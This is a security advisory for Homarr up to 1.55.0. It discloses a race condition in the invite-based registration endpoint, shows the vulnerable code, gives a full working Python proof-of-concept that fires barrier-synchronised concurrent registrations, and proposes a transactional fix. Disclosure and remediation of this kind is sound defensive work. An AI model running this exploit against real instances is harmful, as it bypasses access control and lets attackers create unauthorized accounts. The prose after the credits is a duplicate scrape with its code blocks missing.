Summary
The user registration endpoint (/api/trpc/user.register) is vulnerable to a race condition that allows an attacker to create multiple user accounts from a single-use invite token.
The registration flow performs three sequential database operations without a transaction:
- CHECK — Validates the invite token exists and is not expired
- CREATE — Creates the new user account
- DELETE — Deletes the invite token
Because these operations are not atomic, concurrent requests can all pass the validation step (1) before any of them reaches the deletion step (3). This allows multiple accounts to be registered using a single invite token that was intended to be single-use.
Affected Code
File: packages/api/src/router/user.ts — Lines 70-97
register: publicProcedure
.input(userRegistrationApiSchema)
.output(z.void())
.mutation(async ({ ctx, input }) => {
throwIfCredentialsDisabled();
// STEP 1: CHECK — All concurrent requests pass this before any deletes
const inviteWhere = and(eq(invites.id, input.inviteId), eq(invites.token, input.token));
const dbInvite = await ctx.db.query.invites.findFirst({
columns: { id: true, expirationDate: true },
where: inviteWhere,
});
if (!dbInvite || dbInvite.expirationDate < new Date()) {
throw new TRPCError({ code: "FORBIDDEN", message: "Invalid invite" });
}
// STEP 2: CREATE — Multiple users created during the race window
await checkUsernameAlreadyTakenAndThrowAsync(ctx.db, "credentials", input.username);
await createUserAsync(ctx.db, input);
// STEP 3: DELETE — By this point, other requests already passed step 1
await ctx.db.delete(invites).where(inviteWhere);
}),
Steps to Reproduce
Prerequisites
- A running Homarr instance (<= 1.55.0)
- A valid invite link (format:
http://HOST/auth/invite/INVITE_ID/TOKEN)
Reproduction
1. An admin creates a single-use invite token through the Homarr UI or API.
2. The attacker runs the PoC exploit with the invite token:
python3 exploit-race-condition.py http://TARGET:7575 INVITE_ID INVITE_TOKEN --users 20
3. The exploit sends 20 concurrent registration requests using asyncio.Barrier synchronization so all requests fire at the same instant.
4. Result: 6 out of 20 accounts are successfully created from a single invite token.
Evidence
Exploit (PoC)
File: exploit-race-condition.py
Requirements: Python 3.11+, aiohttp (pip3 install aiohttp)
#!/usr/bin/env python3
import argparse
import asyncio
import json
import sys
import time
import urllib.request
try:
import aiohttp
except ImportError:
print("[!] pip3 install aiohttp")
sys.exit(1)
DEFAULT_USERS = 20
DEFAULT_PREFIX = "raceuser"
DEFAULT_PASSWORD = "Exploit1@RaceCondition"
REGISTER_ENDPOINT = "/api/trpc/user.register"
async def register_user(session, url, invite_id, invite_token, username, password, semaphore):
payload = {
"json": {
"username": username,
"password": password,
"confirmPassword": password,
"inviteId": invite_id,
"token": invite_token,
}
}
async with semaphore:
t0 = time.monotonic()
try:
async with session.post(
f"{url.rstrip('/')}{REGISTER_ENDPOINT}",
json=payload,
timeout=aiohttp.ClientTimeout(total=15),
) as resp:
body = await resp.text()
elapsed = time.monotonic() - t0
try:
data = json.loads(body)
except json.JSONDecodeError:
data = {"raw": body[:200]}
return {
"username": username,
"success": "result" in data and "error" not in data,
"elapsed": round(elapsed, 3),
"detail": data,
}
except Exception as e:
return {
"username": username,
"success": False,
"elapsed": round(time.monotonic() - t0, 3),
"detail": {"error": str(e)},
}
async def run_exploit(url, invite_id, invite_token, num_users, prefix, password, concurrency):
barrier = asyncio.Barrier(num_users)
semaphore = asyncio.Semaphore(concurrency)
pad = max(4, len(str(num_users)))
usernames = [f"{prefix}{str(i).zfill(pad)}" for i in range(1, num_users + 1)]
async def _race(session, uname):
await barrier.wait()
return await register_user(session, url, invite_id, invite_token, uname, password, semaphore)
connector = aiohttp.TCPConnector(limit=0, limit_per_host=0)
async with aiohttp.ClientSession(connector=connector) as session:
return list(await asyncio.gather(*[_race(session, u) for u in usernames]))
def parse_invite_url(value):
if "/auth/invite/" in value:
parts = value.rstrip("/").split("/auth/invite/")
if len(parts) == 2:
segments = parts[1].split("/")
if len(segments) == 2:
return segments[0], segments[1]
return None
def main():
print(" Race Condition PoC — Invite Token Single-Use Bypass")
print(" CWE-367 | Homarr <= 1.55.0\n")
parser = argparse.ArgumentParser()
parser.add_argument("target", help="Homarr base URL")
parser.add_argument("invite", help="Invite ID or full invite URL")
parser.add_argument("token", nargs="?", default=None, help="Invite token")
parser.add_argument("-n", "--users", type=int, default=DEFAULT_USERS)
parser.add_argument("--prefix", default=DEFAULT_PREFIX)
parser.add_argument("--password", default=DEFAULT_PASSWORD)
parser.add_argument("-c", "--concurrency", type=int, default=100)
args = parser.parse_args()
parsed = parse_invite_url(args.invite)
if parsed:
invite_id, invite_token = parsed
elif args.token:
invite_id, invite_token = args.invite, args.token
else:
parser.error("Provide a full invite URL or both invite_id and token")
target = args.target.rstrip("/")
print(f" Target: {target}")
print(f" Invite ID: {invite_id}")
print(f" Invite Token: {invite_token[:8]}...{invite_token[-4:]}")
print(f" Users: {args.users}")
print(f" Prefix: {args.prefix}")
print(f" Password: {args.password[:4]}{'*' * (len(args.password) - 4)}")
print(f" Concurrency: {args.concurrency}")
print()
print(f"[*] Preflight — checking target is reachable...")
try:
r = urllib.request.urlopen(f"{target}/api/health/live", timeout=5)
health = json.loads(r.read())
if health.get("status") == "healthy":
print("[+] Target is healthy\n")
else:
print(f"[!] Target responded but status={health.get('status')}\n")
except Exception as e:
print(f"[!] Cannot reach target: {e}")
sys.exit(1)
print(f"[*] Launching {args.users} concurrent registration requests...")
print(f" All requests will fire at the same instant (barrier sync)\n")
t_start = time.monotonic()
results = asyncio.run(run_exploit(
target, invite_id, invite_token,
args.users, args.prefix, args.password, args.concurrency,
))
t_total = time.monotonic() - t_start
success = [r for r in results if r["success"]]
failed = [r for r in results if not r["success"]]
print("=" * 60)
print(f" RESULTS ({t_total:.2f}s total)")
print("=" * 60)
for r in sorted(results, key=lambda x: x["username"]):
icon = "+" if r["success"] else "-"
status = "CREATED" if r["success"] else "BLOCKED"
err = ""
if not r["success"]:
detail = r.get("detail", {})
if "error" in detail:
err_json = detail["error"].get("json", {})
err = f' — {err_json.get("message", str(detail)[:60])}'
print(f" [{icon}] {r['username']:20s} {status:8s} ({r['elapsed']:.3f}s){err}")
print()
print(f" Successful registrations: {len(success)} / {args.users}")
print(f" Blocked (invite deleted): {len(failed)} / {args.users}")
print()
if __name__ == "__main__":
sys.exit(main())
Impact
- Access control bypass: A single invite token intended for one user can create multiple unauthorized accounts.
- Unauthorized access: All created accounts are fully functional with valid credentials and can access the application.
- Abuse at scale: An attacker who intercepts or obtains a single invite link can create an arbitrary number of accounts by repeating the exploit with different usernames.
- Persistence: Even if the administrator detects and removes one rogue account, the remaining accounts persist undetected.
Suggested Fix
Wrap the check, create, and delete operations in a single database transaction, and delete the invite before creating the user:
register: publicProcedure
.input(userRegistrationApiSchema)
.output(z.void())
.mutation(async ({ ctx, input }) => {
throwIfCredentialsDisabled();
await ctx.db.transaction(async (tx) => {
const inviteWhere = and(eq(invites.id, input.inviteId), eq(invites.token, input.token));
const dbInvite = await tx.query.invites.findFirst({
columns: { id: true, expirationDate: true },
where: inviteWhere,
});
if (!dbInvite || dbInvite.expirationDate < new Date()) {
throw new TRPCError({ code: "FORBIDDEN", message: "Invalid invite" });
}
// Delete FIRST to prevent race condition
const deleted = await tx.delete(invites).where(inviteWhere);
if (deleted.rowsAffected === 0) {
throw new TRPCError({ code: "FORBIDDEN", message: "Invalid invite" });
}
await checkUsernameAlreadyTakenAndThrowAsync(tx, "credentials", input.username);
await createUserAsync(tx, input);
});
}),
Credits
Omar Ramirez
Summary
The user registration endpoint (
/api/trpc/user.register) is vulnerable to a race condition that allows an attacker to create multiple user accounts from a single-use invite token.The registration flow performs three sequential database operations without a transaction:
Because these operations are not atomic, concurrent requests can all pass the validation step (1) before any of them reaches the deletion step (3). This allows multiple accounts to be registered using a single invite token that was intended to be single-use.
Affected Code
File:
packages/api/src/router/user.ts— Lines 70-97Steps to Reproduce
Prerequisites
http://HOST/auth/invite/INVITE_ID/TOKEN)Reproduction
1. An admin creates a single-use invite token through the Homarr UI or API.
2. The attacker runs the PoC exploit with the invite token:
3. The exploit sends 20 concurrent registration requests using
asyncio.Barriersynchronization so all requests fire at the same instant.4. Result: 6 out of 20 accounts are successfully created from a single invite token.
Evidence
Exploit (PoC)
File:
exploit-race-condition.pyRequirements: Python 3.11+,
aiohttp(pip3 install aiohttp)Impact
Suggested Fix
Wrap the check, create, and delete operations in a single database transaction, and delete the invite before creating the user:
Credits
Omar Ramirez